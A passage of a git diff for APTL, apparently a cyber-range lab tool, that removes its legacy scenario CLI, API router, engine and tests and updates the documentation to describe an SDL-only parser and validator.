src/aptl/core/sdl/nodes.py | 30 +- src/aptl/core/sdl/parser.py | 7 +- src/aptl/core/sdl/validator.py | 18 + src/aptl/core/sdl/variables.py | 43 +- src/aptl/core/session.py | 30 +- tests/test_api_scenarios.py | 165 +- tests/test_cli.py | 9 + tests/test_cli_evaluate.py | 471 ------ tests/test_cli_scenario.py | 701 --------- tests/test_engine.py | 531 ------- tests/test_evaluators.py | 406 ----- tests/test_integration.py | 412 ----- tests/test_run_assembler.py | 271 ---- tests/test_scenarios.py | 1332 +---------------- tests/test_scoring.py | 304 ---- tests/test_sdl_models.py | 36 + tests/test_sdl_parser.py | 14 + tests/test_sdl_validator.py | 44 +- tests/test_session.py | 23 +- 41 files changed, 335 insertions(+), 6546 deletions(-) delete mode 100644 src/aptl/api/routers/scenarios.py delete mode 100644 src/aptl/cli/scenario.py delete mode 100644 src/aptl/core/engine.py delete mode 100644 src/aptl/core/evaluators.py delete mode 100644 src/aptl/core/run_assembler.py delete mode 100644 src/aptl/core/scoring.py delete mode 100644 tests/test_cli_evaluate.py delete mode 100644 tests/test_cli_scenario.py delete mode 100644 tests/test_engine.py delete mode 100644 tests/test_evaluators.py delete mode 100644 tests/test_integration.py delete mode 100644 tests/test_run_assembler.py delete mode 100644 tests/test_scoring.py diff --git a/CHANGELOG.md b/CHANGELOG.md index 98d03cc7f..760f0c172 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -20,6 +20,9 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Removed - `src/aptl/core/sdl/compat.py` — legacy backward-compatibility shim +- `src/aptl/cli/scenario.py` — removed with the legacy scenario runtime cutover +- `src/aptl/api/routers/scenarios.py` — removed with the legacy scenario runtime cutover +- `src/aptl/core/engine.py`, `src/aptl/core/evaluators.py`, `src/aptl/core/scoring.py`, `src/aptl/core/run_assembler.py` — removed pending a new SDL-native runtime - `src/aptl/core/sdl/defenses.py` — free-form defense config (underspecified) - `src/aptl/core/sdl/objectives.py` — moved to `aptl.core.objectives` - `src/aptl/core/sdl/attacks.py` — moved to `aptl.core.attacks` diff --git a/docs/adrs/adr-007-python-cli-control-plane.md b/docs/adrs/adr-007-python-cli-control-plane.md index 5d93704a6..00b621309 100644 --- a/docs/adrs/adr-007-python-cli-control-plane.md +++ b/docs/adrs/adr-007-python-cli-control-plane.md @@ -1,5 +1,7 @@ # ADR-007: Python CLI as Primary Control Plane +> Historical note: references to `aptl scenario` in this ADR describe the retired pre-SDL runtime, not the current SDL-only branch. + ## Status accepted diff --git a/docs/adrs/adr-009-scenario-engine.md b/docs/adrs/adr-009-scenario-engine.md index f85b5b58a..a713ddba9 100644 --- a/docs/adrs/adr-009-scenario-engine.md +++ b/docs/adrs/adr-009-scenario-engine.md @@ -1,5 +1,7 @@ # ADR-009: Scenario Engine with YAML Specs and Run Archive Collectors +> Historical note: this ADR documents the retired pre-SDL scenario runtime. Its `aptl scenario` commands and runtime modules are not part of the current SDL-only branch. + ## Status accepted diff --git a/docs/adrs/adr-014-scenario-description-language.md b/docs/adrs/adr-014-scenario-description-language.md index 9100e4f1d..5a94048d8 100644 --- a/docs/adrs/adr-014-scenario-description-language.md +++ b/docs/adrs/adr-014-scenario-description-language.md @@ -14,15 +14,15 @@ However, the OCR SDL lacks: data/content modeling, user accounts, network access ## Decision -Port the OCR SDL to Python/Pydantic as `aptl.core.sdl`, extend it with 6 new sections adapted from existing systems (not invented), and decouple it from any specific deployment backend. +Port the OCR SDL to Python/Pydantic as `aptl.core.sdl`, extend it with 5 new sections adapted from existing systems (not invented), and decouple it from any specific deployment backend. ### Architecture The SDL is a **specification language**, not a deployment tool. It describes *what a scenario is*. A separate provider binding layer (future work) translates SDL specifications into concrete infrastructure. -### Sections (20 total) +### Sections (19 total) -14 from OCR (direct port) + 6 new: +14 from OCR (direct port) + 5 new: - `content` (from CyRIS) — data placed into systems - `accounts` (from CyRIS) — user accounts within nodes - `relationships` (from STIX SRO) — typed edges between elements @@ -42,7 +42,7 @@ This is simpler and more composable than a dedicated identity layer. Two-phase validation: 1. **Structural** (Pydantic) — types, ranges, required fields, intra-model constraints -2. **Semantic** (SemanticValidator) — 24 named passes checking cross-references, dependency cycles, IP/CIDR consistency, MITRE format, and domain rules +2. **Semantic** (SemanticValidator) — 20 named passes checking cross-references, dependency cycles, IP/CIDR consistency, and SDL domain rules The validator collects all errors rather than failing on the first. @@ -51,12 +51,15 @@ The validator collects all errors rather than failing on the first. The parser handles: - Case-insensitive field keys (preserving user-defined names) - Shorthand expansion (source strings, infrastructure counts, role strings, min-score integers, feature lists) -- Auto-detection of APTL legacy vs OCR SDL format +- SDL-only parsing with clean rejection of removed legacy `metadata` scenarios - Clean error messages for all failure modes ### Backward Compatibility -`aptl.core.scenarios` is a re-export shim over the SDL package. All 8 consumer files continue working with zero import changes. +None by design. This branch establishes an SDL-only boundary: +- Legacy APTL scenario YAMLs no longer parse through the SDL +- `aptl.core.scenarios` remains only as a thin loader/error module +- The old scenario CLI/API/runtime entrypoints were removed rather than left as partial shims ## Consequences @@ -67,12 +70,13 @@ The parser handles: - Every SDL element traces to a published precedent - Backend-agnostic: no Docker, OpenStack, or cloud provider coupling - Full OCR SDL compatibility preserved -- Existing APTL scenarios work unchanged +- One clear specification surface for follow-on provisioner/runtime work ### Negative - 24 source files in `aptl.core.sdl/` — significant surface area - Variables (`${var}`) not resolved at parse time, limiting validator coverage +- Existing APTL scenario YAMLs require migration to SDL format - No module composition system yet (Terraform-style imports) - No formal verification (VSDL's SMT / CRACK's Datalog) - Agent action semantics are strings, not typed operations diff --git a/docs/index.md b/docs/index.md index 808b383c1..222a88dc6 100644 --- a/docs/index.md +++ b/docs/index.md @@ -48,18 +48,18 @@ aptl lab start ### Scenario Description Language (SDL) - [SDL Overview](sdl/index.md) — What the SDL is and how to use it -- [Sections Reference](sdl/sections.md) — Complete reference for all 20 sections -- [Parser Behavior](sdl/parser.md) — Key normalization, shorthands, format detection -- [Semantic Validation](sdl/validation.md) — Cross-reference checks (24 passes) +- [Sections Reference](sdl/sections.md) — Complete reference for all 19 sections +- [Parser Behavior](sdl/parser.md) — Key normalization, shorthands, SDL-only parsing +- [Semantic Validation](sdl/validation.md) — Cross-reference checks (20 passes) - [Design Precedents](sdl/precedents.md) — Where each element comes from - [Limitations](sdl/limitations.md) — What the SDL cannot express yet - [Testing](sdl/testing.md) — Unit tests, stress tests, fuzz tests ### Scenarios & Runs -- [SOC Architecture Spec](specs/soc-feature-spec.md) — Scenario engine, run archives, collectors +- [SOC Architecture Spec](specs/soc-feature-spec.md) — Historical pre-SDL runtime spec retained for context ### Testing -- [Smoke Test Plan](testing/smoke-test-plan.md) — Full-stack smoke test protocol +- [Smoke Test Plan](testing/smoke-test-plan.md) — Historical full-stack plan for the pre-SDL scenario engine ### Reference - [TechVault Company Profile](reference/techvault-company-profile.md) diff --git a/docs/sdl/index.md b/docs/sdl/index.md index d153cc9a4..c8533c934 100644 --- a/docs/sdl/index.md +++ b/docs/sdl/index.md @@ -59,8 +59,8 @@ accounts: ## Documentation -- [SDL Sections Reference](sections.md) — Complete reference for all 20 sections -- [Parser Behavior](parser.md) — Key normalization, shorthand expansion, format detection +- [SDL Sections Reference](sections.md) — Complete reference for all 19 sections +- [Parser Behavior](parser.md) — Key normalization, shorthand expansion, SDL-only parsing - [Semantic Validation](validation.md) — Cross-reference checks and what the validator enforces - [Design Precedents](precedents.md) — Where each SDL element comes from - [Limitations & Future Work](limitations.md) — What the SDL cannot express yet @@ -83,4 +83,4 @@ scenario = parse_sdl(yaml_string, skip_semantic_validation=True) ## Backward Compatibility -All existing APTL scenario YAMLs (the `metadata` + `mode` + `objectives` format) continue to work unchanged. The parser auto-detects legacy vs SDL format. All imports from `aptl.core.scenarios` continue to work — the module is a re-export shim over the SDL package. +This branch is intentionally SDL-only. Legacy APTL scenario YAMLs (the old `metadata` + `mode` + `objectives` format) no longer parse, and `aptl.core.scenarios` is now a thin SDL loader/error layer rather than a re-export shim. diff --git a/docs/sdl/parser.md b/docs/sdl/parser.md index 5675fc0e9..6a15224a0 100644 --- a/docs/sdl/parser.md +++ b/docs/sdl/parser.md @@ -33,14 +33,13 @@ Several shorthand forms are expanded before model construction: Source expansion is skipped inside `relationships` and `agents` sections where `source` is a plain string reference, not a package Source. -## Format Auto-Detection +## Format Boundary -The parser handles two formats: +The parser accepts one format: -- **OCR SDL format:** Top-level `name` field, OCR sections -- **APTL legacy format:** `metadata` block with `id`, `name`, `difficulty`, etc. +- **SDL format:** Top-level `name` field plus SDL sections -Detection: if the normalized data contains a `metadata` key with a dict value, it's APTL legacy. Both formats can coexist in the same YAML. +Legacy APTL scenario YAMLs with a `metadata` block are intentionally rejected in this branch. They must be migrated to SDL before parsing. ## Validation Pipeline @@ -48,7 +47,7 @@ Detection: if the normalized data contains a `metadata` key with a dict value, i 2. **Key normalization** — lowercase field keys, preserve user names 3. **Shorthand expansion** — source, infrastructure, roles, min-score, feature lists 4. **Pydantic construction** — structural validation (types, ranges, required fields) -5. **Semantic validation** — cross-reference checks (21+ passes, see [validation.md](validation.md)) +5. **Semantic validation** — cross-reference checks (20 passes, see [validation.md](validation.md)) ## API diff --git a/docs/sdl/sections.md b/docs/sdl/sections.md index c770a753c..41b046197 100644 --- a/docs/sdl/sections.md +++ b/docs/sdl/sections.md @@ -75,7 +75,7 @@ nodes: availability: critical ``` -**Switch** nodes have no source, resources, or features — they represent pure network connectivity. +**Switch** nodes are pure connectivity objects. They may define `type` and an optional `description`, but `source`, `resources`, `os`, `os_version`, `features`, `conditions`, `injects`, `vulnerabilities`, `roles`, `services`, and `asset_value` are rejected. **Feature list shorthand:** `features: [nginx, php]` expands to `{nginx: "", php: ""}` (no role binding required). @@ -357,10 +357,14 @@ agents: initial_knowledge: hosts: [user0] # known at scenario start subnets: [user-net] + services: [ssh] # references nodes.*.services[].name + accounts: [helpdesk-user] # references accounts section allowed_subnets: [user-net, corp-net] reward_calculator: HybridImpactPwn ``` +`initial_knowledge.hosts` references node names, `subnets` references infrastructure names, `services` references service names declared in `nodes.*.services`, and `accounts` references entries in the `accounts` section. + --- ## Variables @@ -385,6 +389,8 @@ variables: Variables are referenced as `${var_name}` in other sections. They are **not resolved at parse time** — resolution happens at instantiation. +`default` and every entry in `allowed_values` must match the declared `type`. If `allowed_values` is provided, `default` must be one of those values. + --- ## Scoring: Exercise Assessment vs Automated Validation diff --git a/docs/sdl/testing.md b/docs/sdl/testing.md index 82ab862eb..623ecf45f 100644 --- a/docs/sdl/testing.md +++ b/docs/sdl/testing.md @@ -6,10 +6,10 @@ ```bash pytest tests/test_sdl_models.py tests/test_sdl_validator.py \ - tests/test_sdl_parser.py tests/test_sdl_compat.py -v + tests/test_sdl_parser.py -v ``` -Tests structural validation (Pydantic models), semantic validation (cross-reference checks), parser behavior (normalization, shorthands, format detection), and backward compatibility with the legacy `aptl.core.scenarios` API. +Tests structural validation (Pydantic models), semantic validation (cross-reference checks), and parser behavior (normalization, shorthands, SDL-only format boundary). ### Stress Tests (standard run) diff --git a/docs/sdl/validation.md b/docs/sdl/validation.md index d5060c7bc..2ba61298b 100644 --- a/docs/sdl/validation.md +++ b/docs/sdl/validation.md @@ -1,6 +1,6 @@ # SDL Semantic Validation -The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 24 named passes after Pydantic structural validation. It collects all errors rather than failing on the first, so authors see every issue at once. +The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 20 named passes after Pydantic structural validation. It collects all errors rather than failing on the first, so authors see every issue at once. ## Validation Passes @@ -31,18 +31,8 @@ The semantic validator (`aptl.core.sdl.validator.SemanticValidator`) runs 24 nam | `verify_content` | Content targets reference existing nodes. | | `verify_accounts` | Account nodes reference existing nodes. | | `verify_relationships` | Source and target resolve to any named element in any section. | -| `verify_agents` | Entity references resolve. Starting accounts exist in accounts section. Allowed subnets exist in infrastructure. Initial knowledge hosts/subnets exist in nodes/infrastructure. | -| `verify_variables` | (Structural validation only — `${var}` substitution checked at instantiation time.) | - -### APTL-specific passes - -| Pass | What It Checks | -|------|----------------| -| `verify_objectives` | (Structural: ID uniqueness, validation config presence — enforced by Pydantic) | -| `verify_attack_steps` | MITRE technique IDs match ATT&CK format (`T####` or `T####.###`). | -| `verify_mode_consistency` | Red mode requires red objectives, blue mode requires blue objectives. | -| `verify_mitre_references` | Metadata MITRE technique references match ATT&CK format. | -| `verify_scenario_content` | Scenario has at least one of: nodes, features, conditions, vulnerabilities, entities, steps, objectives, or stories. | +| `verify_agents` | Entity references resolve. Starting accounts and initial-knowledge accounts exist in accounts section. Allowed subnets and initial-knowledge subnets exist in infrastructure. Initial-knowledge hosts exist in nodes. Initial-knowledge services exist in `nodes.*.services[].name`. | +| `verify_variables` | Structural validation of typed defaults and `allowed_values`. `${var}` substitution in other sections is still checked at instantiation time. | ## Error Reporting diff --git a/docs/specs/soc-feature-spec.md b/docs/specs/soc-feature-spec.md index e1396a7c7..76f02bd91 100644 --- a/docs/specs/soc-feature-spec.md +++ b/docs/specs/soc-feature-spec.md @@ -1,5 +1,7 @@ # Scenario & Observability Core — Architecture Spec +> Historical note: this document describes the pre-SDL scenario runtime that was removed in the SDL-only branch. It is retained for context until a new SDL-native runtime lands. + ## 1. Overview ### 1.1 Purpose diff --git a/docs/testing/smoke-test-plan.md b/docs/testing/smoke-test-plan.md index 1615d3ada..a94a1c5b7 100644 --- a/docs/testing/smoke-test-plan.md +++ b/docs/testing/smoke-test-plan.md @@ -1,5 +1,7 @@ # APTL Minimum Viable Enterprise - Smoke Test Plan +> Historical note: sections covering `aptl scenario` and the old scenario engine apply to the pre-SDL runtime, not the current SDL-only branch. + Acceptance testing for the enterprise infrastructure, SOC stack, MCP layer, and scenario engine implemented in the SOC-in-a-Box build. --- diff --git a/src/aptl/api/main.py b/src/aptl/api/main.py index 72b8b646e..5b2b697e3 100644 --- a/src/aptl/api/main.py +++ b/src/aptl/api/main.py @@ -4,7 +4,7 @@ from fastapi.middleware.cors import CORSMiddleware from aptl.api.deps import ALLOWED_ORIGINS -from aptl.api.routers import config, kill, lab, scenarios, terminal +from aptl.api.routers import config, kill, lab, terminal from aptl.utils.logging import get_logger, setup_logging log = get_logger("api") @@ -30,7 +30,6 @@ def create_app() -> FastAPI: ) app.include_router(lab.router, prefix="/api") - app.include_router(scenarios.router, prefix="/api") app.include_router(config.router, prefix="/api") app.include_router(terminal.router, prefix="/api") app.include_router(kill.router, prefix="/api") diff --git a/src/aptl/api/routers/scenarios.py b/src/aptl/api/routers/scenarios.py deleted file mode 100644 index 45bc28430..000000000 --- a/src/aptl/api/routers/scenarios.py +++ /dev/null @@ -1,94 +0,0 @@ -"""Scenario API endpoints.""" - -import asyncio -from pathlib import Path - -from fastapi import APIRouter, Depends, HTTPException - -from aptl.api.deps import get_project_dir -from aptl.api.schemas import ScenarioSummary -from aptl.core.scenarios import ( - ScenarioDefinition, - ScenarioNotFoundError, - ScenarioValidationError, - find_scenarios, - load_scenario, -) -from aptl.utils.logging import get_logger - -log = get_logger("api.scenarios") - -router = APIRouter(tags=["scenarios"]) - - -def _scenarios_dir(project_dir: Path) -> Path: - """Return the scenarios directory.""" - return project_dir / "scenarios" - - -def _load_all_scenarios(project_dir: Path) -> list[ScenarioSummary]: - """Load all valid scenarios from the scenarios directory.""" - paths = find_scenarios(_scenarios_dir(project_dir)) - summaries: list[ScenarioSummary] = [] - for path in paths: - try: - scenario = load_scenario(path) - summaries.append( - ScenarioSummary( - id=scenario.metadata.id, - name=scenario.metadata.name, - description=scenario.metadata.description, - difficulty=scenario.metadata.difficulty.value, - mode=scenario.mode.value, - estimated_minutes=scenario.metadata.estimated_minutes, - tags=scenario.metadata.tags, - containers_required=scenario.containers.required, - ) - ) - except (ScenarioValidationError, FileNotFoundError): - # Skip invalid scenarios — they'll surface in CLI validation - continue - return summaries - - -def _load_single_scenario( - scenario_id: str, project_dir: Path -) -> ScenarioDefinition: - """Find and load a scenario by ID.""" - paths = find_scenarios(_scenarios_dir(project_dir)) - for path in paths: - try: - scenario = load_scenario(path) - if scenario.metadata.id == scenario_id: - return scenario - except (ScenarioValidationError, FileNotFoundError): - continue - raise ScenarioNotFoundError(scenario_id) - - -@router.get("/scenarios") -async def list_scenarios( - project_dir: Path = Depends(get_project_dir), -) -> list[ScenarioSummary]: - """List all available scenarios.""" - log.info("GET /scenarios") - result = await asyncio.to_thread(_load_all_scenarios, project_dir) - log.info("GET /scenarios -> %d scenarios", len(result)) - return result - - -@router.get("/scenarios/{scenario_id}") -async def get_scenario( - scenario_id: str, - project_dir: Path = Depends(get_project_dir), -) -> dict: - """Get full scenario definition by ID.""" - log.info("GET /scenarios/") - try: - scenario = await asyncio.to_thread( - _load_single_scenario, scenario_id, project_dir - ) - except ScenarioNotFoundError: - log.warning("Scenario not found") - raise HTTPException(status_code=404, detail="Scenario not found") - return scenario.model_dump() diff --git a/src/aptl/api/schemas.py b/src/aptl/api/schemas.py index 9fe736d65..93053dd43 100644 --- a/src/aptl/api/schemas.py +++ b/src/aptl/api/schemas.py @@ -88,19 +88,6 @@ class KillActionResponse(BaseModel): errors: list[str] = Field(default_factory=list) -class ScenarioSummary(BaseModel): - """Abbreviated scenario info for listing.""" - - id: str - name: str - description: str - difficulty: str - mode: str - estimated_minutes: int - tags: list[str] = [] - containers_required: list[str] = [] - - class ConfigResponse(BaseModel): """Response for GET /api/config.""" diff --git a/src/aptl/cli/main.py b/src/aptl/cli/main.py index 2b019ff9d..d7d29c555 100644 --- a/src/aptl/cli/main.py +++ b/src/aptl/cli/main.py @@ -5,7 +5,7 @@ import typer import aptl -from aptl.cli import lab, config, container, scenario, runs, web, kill +from aptl.cli import config, container, kill, lab, runs, web app = typer.Typer( name="aptl", @@ -16,7 +16,6 @@ app.add_typer(lab.app, name="lab") app.add_typer(config.app, name="config") app.add_typer(container.app, name="container") -app.add_typer(scenario.app, name="scenario") app.add_typer(runs.app, name="runs") app.add_typer(web.app, name="web") app.add_typer(kill.app, name="kill") diff --git a/src/aptl/cli/scenario.py b/src/aptl/cli/scenario.py deleted file mode 100644 index d8339cea1..000000000 --- a/src/aptl/cli/scenario.py +++ /dev/null @@ -1,884 +0,0 @@ -"""CLI commands for scenario management.""" - -import asyncio -import os -import signal -import time -from datetime import datetime, timezone -from pathlib import Path -from uuid import uuid4 - -import sys - -import typer -from rich.console import Console -from rich.table import Table - -from aptl.core.config import AptlConfig, find_config, load_config -from aptl.core.env import load_dotenv -from aptl.core.flags import collect_flags -from aptl.core.run_assembler import assemble_run -from aptl.core.runstore import LocalRunStore -from aptl.core.scenarios import ( - ObjectiveType, - ScenarioDefinition, - ScenarioNotFoundError, - ScenarioStateError, - ScenarioValidationError, - find_scenarios, - load_scenario, - validate_scenario_containers, -) -from aptl.core.scoring import ScoreReport, compute_score -from aptl.core.session import ActiveSession, ScenarioSession -from aptl.core.telemetry import ( - create_child_span, - create_root_span, - get_tracer, - init_tracing, - make_parent_context, - shutdown_tracing, - write_trace_context, -) -from aptl.utils.logging import get_logger - -log = get_logger("cli.scenario") - -app = typer.Typer(help="Scenario management.") -console = Console() - -_SCENARIO_NAME_HELP = "Scenario name or filename." - - -# --------------------------------------------------------------------------- -# Shared helpers -# --------------------------------------------------------------------------- - - -def _state_dir(project_dir: Path) -> Path: - """Return the .aptl/ state directory for a project.""" - return project_dir / ".aptl" - - -def _resolve_scenarios_dir(project_dir: Path, scenarios_dir: Path | None) -> Path: - """Resolve the scenarios directory path.""" - if scenarios_dir is not None: - return scenarios_dir - return project_dir / "scenarios" - - -def _find_scenario_by_name(scenarios_dir: Path, name: str) -> Path: - """Find a scenario file by name (with or without .yaml extension). - - Raises: - ScenarioNotFoundError: If no matching file is found. - """ - if name.endswith(".yaml"): - candidate = scenarios_dir / name - else: - candidate = scenarios_dir / f"{name}.yaml" - - if candidate.is_file(): - return candidate - - raise ScenarioNotFoundError(name) - - -def _load_scenario_or_exit( - scenarios_dir: Path, - name: str, -) -> ScenarioDefinition: - """Find and load a scenario, or exit with an error message. - - Args: - scenarios_dir: Resolved scenarios directory. - name: Scenario name or filename. - - Returns: - Loaded and validated ScenarioDefinition. - - Raises: - typer.Exit: If the scenario cannot be found or loaded. - """ - try: - path = _find_scenario_by_name(scenarios_dir, name) - return load_scenario(path) - except (ScenarioNotFoundError, ScenarioValidationError, FileNotFoundError) as e: - log.error("Failed to load scenario '%s': %s", name, e) - typer.echo(f"Error: {e}") - raise typer.Exit(code=1) from e - - -def _require_active_session( - session_mgr: ScenarioSession, -) -> ActiveSession: - """Get the active session or exit with an error. - - Returns: - The active session. - - Raises: - typer.Exit: If no scenario is active. - """ - session = session_mgr.get_active() - if session is None or not session_mgr.is_active(): - typer.echo("No active scenario.") - raise typer.Exit(code=1) - return session - - -def _load_active_scenario( - session: ActiveSession, - project_dir: Path, - scenarios_dir: Path | None, -) -> ScenarioDefinition: - """Load the scenario definition for an active session. - - Args: - session: Active session with a scenario_id. - project_dir: Project directory. - scenarios_dir: Explicit scenarios dir, or None for default. - - Returns: - The loaded ScenarioDefinition. - - Raises: - typer.Exit: If the scenario cannot be loaded. - """ - resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - return _load_scenario_or_exit(resolved_dir, session.scenario_id) - - -def _load_env(project_dir: Path) -> None: - """Load .env into os.environ so evaluators/collectors can read credentials.""" - env_path = project_dir / ".env" - try: - raw_env = load_dotenv(env_path) - os.environ.update(raw_env) - except FileNotFoundError: - log.warning(".env not found at %s; evaluators will use defaults", env_path) - - -# --------------------------------------------------------------------------- -# Commands -# --------------------------------------------------------------------------- - - -@app.command("list") -def list_scenarios( - project_dir: Path = typer.Option( - Path("."), - "--project-dir", - "-d", - help="Path to the APTL project directory.", - ), - scenarios_dir: Path | None = typer.Option( - None, - "--scenarios-dir", - "-s", - help="Path to scenarios directory. Defaults to /scenarios.", - ), -) -> None: - """List available scenarios.""" - log.info("Listing scenarios") - resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - paths = find_scenarios(resolved_dir) - - if not paths: - typer.echo(f"No scenarios found in {resolved_dir}") - return - - if sys.stdout.isatty(): - table = Table(title="Available Scenarios") - table.add_column("ID", style="cyan", no_wrap=True) - table.add_column("Name") - table.add_column("Difficulty", style="green") - table.add_column("Mode", style="yellow") - table.add_column("Steps", justify="right") - table.add_column("Tags") - - for path in paths: - try: - scenario = load_scenario(path) - meta = scenario.metadata - table.add_row( - meta.id, - meta.name, - meta.difficulty.value, - scenario.mode.value, - str(len(scenario.steps)), - ", ".join(meta.tags), - ) - except (ScenarioValidationError, FileNotFoundError) as e: - log.warning("Skipping invalid scenario %s: %s", path.name, e) - table.add_row( - path.stem, - f"[red]ERROR: {e}[/red]", - "", - "", - "", - "", - ) - - console.print(table) - else: - # Plain text output for non-interactive use (pipes, tests) - for path in paths: - try: - scenario = load_scenario(path) - meta = scenario.metadata - typer.echo( - f"{meta.id}\t{meta.name}\t" - f"{meta.difficulty.value}\t{scenario.mode.value}\t" - f"{len(scenario.steps)}\t{', '.join(meta.tags)}" - ) - except (ScenarioValidationError, FileNotFoundError) as e: - log.warning("Skipping invalid scenario %s: %s", path.name, e) - typer.echo(f"{path.stem}\tERROR: {e}") - - -@app.command() -def show( - name: str = typer.Argument(help=_SCENARIO_NAME_HELP), - project_dir: Path = typer.Option( - Path("."), - "--project-dir", - "-d", - help="Path to the APTL project directory.", - ), - scenarios_dir: Path | None = typer.Option( - None, - "--scenarios-dir", - "-s", - help="Path to scenarios directory. Defaults to /scenarios.", - ), -) -> None: - """Show details of a specific scenario.""" - log.info("Showing scenario: %s", name) - resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - scenario = _load_scenario_or_exit(resolved_dir, name) - - meta = scenario.metadata - typer.echo(f"Scenario: {meta.name}") - typer.echo(f" ID: {meta.id}") - typer.echo(f" Version: {meta.version}") - typer.echo(f" Author: {meta.author or '(none)'}") - typer.echo(f" Difficulty: {meta.difficulty.value}") - typer.echo(f" Mode: {scenario.mode.value}") - typer.echo(f" Est. Time: {meta.estimated_minutes} minutes") - typer.echo(f" Tags: {', '.join(meta.tags) or '(none)'}") - - if meta.mitre_attack.tactics or meta.mitre_attack.techniques: - typer.echo(f" MITRE ATT&CK:") - if meta.mitre_attack.tactics: - typer.echo(f" Tactics: {', '.join(meta.mitre_attack.tactics)}") - if meta.mitre_attack.techniques: - typer.echo(f" Techniques: {', '.join(meta.mitre_attack.techniques)}") - - typer.echo(f" Containers: {', '.join(scenario.containers.required)}") - - if scenario.preconditions: - typer.echo(f" Preconditions: {len(scenario.preconditions)}") - - typer.echo("") - typer.echo("Objectives:") - - if scenario.objectives.red: - typer.echo(" Red Team:") - for obj in scenario.objectives.red: - hint_count = len(obj.hints) - hints_label = f" ({hint_count} hints)" if hint_count else "" - typer.echo( - f" [{obj.id}] {obj.description} " - f"({obj.points} pts, {obj.type.value}){hints_label}" - ) - - if scenario.objectives.blue: - typer.echo(" Blue Team:") - for obj in scenario.objectives.blue: - hint_count = len(obj.hints) - hints_label = f" ({hint_count} hints)" if hint_count else "" - typer.echo( - f" [{obj.id}] {obj.description} " - f"({obj.points} pts, {obj.type.value}){hints_label}" - ) - - if scenario.steps: - typer.echo("") - if scenario.attack_chain: - typer.echo(f"Attack Chain: {scenario.attack_chain}") - typer.echo("") - typer.echo("Attack Steps:") - for step in scenario.steps: - typer.echo( - f" Step {step.step_number}: [{step.technique_id}] " - f"{step.technique_name} ({step.tactic})" - ) - typer.echo(f" Target: {step.target}") - typer.echo(f" {step.description}") - - if step.commands: - typer.echo(" Commands:") - for cmd in step.commands: - typer.echo(f" $ {cmd}") - - if step.expected_detections: - typer.echo(" Expected Detections:") - for det in step.expected_detections: - uid_info = f" (rule {det.analytic_uid})" if det.analytic_uid else "" - typer.echo( - f" [{det.product_name}] {det.description}" - f"{uid_info} - {det.severity_id.name}" - ) - - if step.investigation_hints: - typer.echo(" Investigation Hints:") - for ih in step.investigation_hints: - typer.echo(f" - {ih}") - - typer.echo("") - - typer.echo(f" Description: {meta.description.strip()}") - - -@app.command() -def validate( - path: Path = typer.Argument(help="Path to a scenario YAML file."), -) -> None: - """Validate a scenario YAML file.""" - log.info("Validating scenario: %s", path) - - try: - scenario = load_scenario(path) - except FileNotFoundError as e: - log.error("Scenario file not found: %s", path) - typer.echo(f"Error: {e}") - raise typer.Exit(code=1) from e - except ScenarioValidationError as e: - log.error("Scenario validation failed: %s", e) - typer.echo(f"Validation failed: {e}") - raise typer.Exit(code=1) from e - - meta = scenario.metadata - obj_count = len(scenario.objectives.red) + len(scenario.objectives.blue) - step_count = len(scenario.steps) - typer.echo( - f"Valid: {meta.name} ({meta.id}) - " - f"{meta.difficulty.value}, {scenario.mode.value} mode, " - f"{obj_count} objectives, {step_count} steps" - ) - - -@app.command() -def start( - name: str = typer.Argument(help=_SCENARIO_NAME_HELP), - project_dir: Path = typer.Option( - Path("."), - "--project-dir", - "-d", - help="Path to the APTL project directory.", - ), - scenarios_dir: Path | None = typer.Option( - None, - "--scenarios-dir", - "-s", - help="Path to scenarios directory. Defaults to /scenarios.", - ), -) -> None: - """Start a scenario session.""" - log.info("Starting scenario: %s", name) - resolved_dir = _resolve_scenarios_dir(project_dir, scenarios_dir) - scenario = _load_scenario_or_exit(resolved_dir, name) - - # Validate required containers are enabled - config_path = find_config(project_dir) - config = load_config(config_path) if config_path else AptlConfig() - missing = validate_scenario_containers(scenario, config) - if missing: - typer.echo( - f"Error: Scenario '{scenario.metadata.id}' requires disabled profiles: " - f"{', '.join(missing)}\n" - f"Enable them in aptl.json or start the lab with the required profiles." - ) - raise typer.Exit(code=1) - - state = _state_dir(project_dir) - session_mgr = ScenarioSession(state) - - try: - session = session_mgr.start(scenario) - except ScenarioStateError as e: - log.error("Cannot start scenario: %s", e) - typer.echo(f"Error: {e}") - raise typer.Exit(code=1) from e - - # Generate run_id and store in session - run_id = uuid4().hex - session.run_id = run_id - session_mgr._write(session) - - # Write trace context for MCP servers to read - write_trace_context(state, session.trace_id, session.span_id) - - # Collect CTF flags from running containers - flags = collect_flags() - if flags: - session.flags = flags - session_mgr._write(session) - flag_count = sum(len(v) for v in flags.values()) - log.info("Captured %d flags from %d containers", flag_count, len(flags)) - else: - log.warning("No CTF flags collected (containers may not be running)") - - # Emit a lightweight OTel span marking scenario start - init_tracing() - try: - tracer = get_tracer() - parent_ctx = make_parent_context(session.trace_id, session.span_id) - span = create_child_span(tracer, parent_ctx, "scenario.started", { - "aptl.scenario.id": scenario.metadata.id, - "aptl.scenario.mode": scenario.mode.value, - "aptl.run.id": run_id, - "aptl.flags.collected": sum(len(v) for v in flags.values()), - }) - span.end() - finally: - shutdown_tracing() - - typer.echo(f"Started scenario: {scenario.metadata.name}") - typer.echo(f" ID: {scenario.metadata.id}") - typer.echo(f" Run ID: {run_id}") - typer.echo(f" Mode: {scenario.mode.value}") - typer.echo(f" Objectives: {len(scenario.objectives.all_objectives())}") - typer.echo(f" Flags: {sum(len(v) for v in flags.values())} captured") - typer.echo(f" Trace ID: {session.trace_id}") - - -@app.command() -def status( - project_dir: Path = typer.Option( - Path("."), - "--project-dir", - "-d", - help="Path to the APTL project directory.", - ), - scenarios_dir: Path | None = typer.Option( - None, - "--scenarios-dir", - "-s", - help="Path to scenarios directory. Defaults to /scenarios.", - ), -) -> None: - """Show active scenario status with scoring.""" - state = _state_dir(project_dir) - session_mgr = ScenarioSession(state) - - session = session_mgr.get_active() - if session is None: - typer.echo("No active scenario.") - return - - # Compute elapsed time - started = datetime.fromisoformat(session.started_at) - elapsed = datetime.now(timezone.utc) - started - elapsed_seconds = elapsed.total_seconds() - 